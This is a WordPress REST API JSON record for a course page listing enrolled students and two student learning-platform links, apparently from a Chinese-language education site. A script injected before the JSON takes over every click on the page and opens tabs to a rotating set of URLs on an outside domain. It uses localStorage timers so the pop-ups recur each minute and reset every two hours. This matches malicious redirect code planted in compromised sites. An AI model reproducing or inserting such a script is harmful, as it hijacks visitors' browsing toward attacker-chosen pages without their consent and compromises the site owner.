<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1616,"date":"2020-02-21T11:08:53","date_gmt":"2020-02-21T03:08:53","guid":{"rendered":"http:\/\/edu.secda.info\/phil999_course02\/?page_id=1616"},"modified":"2020-02-25T15:30:32","modified_gmt":"2020-02-25T07:30:32","slug":"%e4%bf%ae%e8%aa%b2%e5%ad%b8%e7%94%9f","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/phil999_course02\/?page_id=1616","title":{"rendered":"\u4fee\u8ab2\u5b78\u751f"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"1616\" class=\"elementor elementor-1616\" data-elementor-settings=\"[]\">\r\n\t\t\t\t\t\t<div class=\"elementor-inner\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-section-wrap\">\r\n\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-b76a048 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"b76a048\" data-element_type=\"section\">\r\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-row\">\r\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-9db234f\" data-id=\"9db234f\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-5a2db4e elementor-tabs-view-horizontal elementor-widget elementor-widget-tabs\" data-id=\"5a2db4e\" data-element_type=\"widget\" data-widget_type=\"tabs.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t\t\t<div class=\"elementor-tabs\">\r\n\t\t\t<div class=\"elementor-tabs-wrapper\" role=\"tablist\" >\r\n\t\t\t\t\t\t\t\t\t<div id=\"elementor-tab-title-9451\" class=\"elementor-tab-title elementor-tab-desktop-title\" aria-selected=\"true\" data-tab=\"1\" role=\"tab\" tabindex=\"0\" aria-controls=\"elementor-tab-content-9451\" aria-expanded=\"false\"><a href=\"\">\u4fee\u8ab2\u5b78\u751f\u540d\u55ae<\/a><\/div>\r\n\t\t\t\t\t\t\t\t\t<div id=\"elementor-tab-title-9452\" class=\"elementor-tab-title elementor-tab-desktop-title\" aria-selected=\"false\" data-tab=\"2\" role=\"tab\" tabindex=\"-1\" aria-controls=\"elementor-tab-content-9452\" aria-expanded=\"false\"><a href=\"\">\u5206\u7d44\u540d\u55ae<\/a><\/div>\r\n\t\t\t\t\t\t\t<\/div>\r\n\t\t\t<div class=\"elementor-tabs-content-wrapper\" role=\"tablist\" aria-orientation=\"vertical\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"elementor-tab-title elementor-tab-mobile-title\" aria-selected=\"true\" data-tab=\"1\" role=\"tab\" tabindex=\"0\" aria-controls=\"elementor-tab-content-9451\" aria-expanded=\"false\">\u4fee\u8ab2\u5b78\u751f\u540d\u55ae<\/div>\r\n\t\t\t\t\t<div id=\"elementor-tab-content-9451\" class=\"elementor-tab-content elementor-clearfix\" data-tab=\"1\" role=\"tabpanel\" aria-labelledby=\"elementor-tab-title-9451\" tabindex=\"0\" hidden=\"false\"><p><a title=\"\u9ec3\u5c0f\u660e \u5b78\u7fd2\u5e73\u53f0\" href=\"http:\/\/edu.secda.info\/phil999_student02\/\" target=\"_blank\" rel=\"home noopener\">\u9ec3\u5c0f\u660e \u5b78\u7fd2\u5e73\u53f0<\/a><br \/><a title=\"\u738b\u5927\u670b \u5b78\u751f\u5e73\u53f0\" href=\"http:\/\/edu.secda.info\/phil999_student03\/\" target=\"_blank\" rel=\"home noopener\">\u738b\u5927\u670b \u5b78\u7fd2\u5e73\u53f0<\/a><\/p><\/div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"elementor-tab-title elementor-tab-mobile-title\" aria-selected=\"false\" data-tab=\"2\" role=\"tab\" tabindex=\"-1\" aria-controls=\"elementor-tab-content-9452\" aria-expanded=\"false\">\u5206\u7d44\u540d\u55ae<\/div>\r\n\t\t\t\t\t<div id=\"elementor-tab-content-9452\" class=\"elementor-tab-content elementor-clearfix\" data-tab=\"2\" role=\"tabpanel\" aria-labelledby=\"elementor-tab-title-9452\" tabindex=\"0\" hidden=\"hidden\"><\/div>\r\n\t\t\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/section>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t","protected":false},"excerpt":{"rendered":"<p>\u4fee\u8ab2\u5b78\u751f\u540d\u55ae \u5206\u7d44\u540d\u55ae \u4fee\u8ab2\u5b78\u751f\u540d\u55ae \u9ec3\u5c0f\u660e \u5b78\u7fd2\u5e73\u53f0\u738b\u5927\u670b \u5b78\u7fd2\u5e73\u53f0 \u5206\u7d44\u540d\u55ae<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":6,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=\/wp\/v2\/pages\/1616"}],"collection":[{"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1616"}],"version-history":[{"count":7,"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=\/wp\/v2\/pages\/1616\/revisions"}],"predecessor-version":[{"id":1674,"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=\/wp\/v2\/pages\/1616\/revisions\/1674"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1616"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}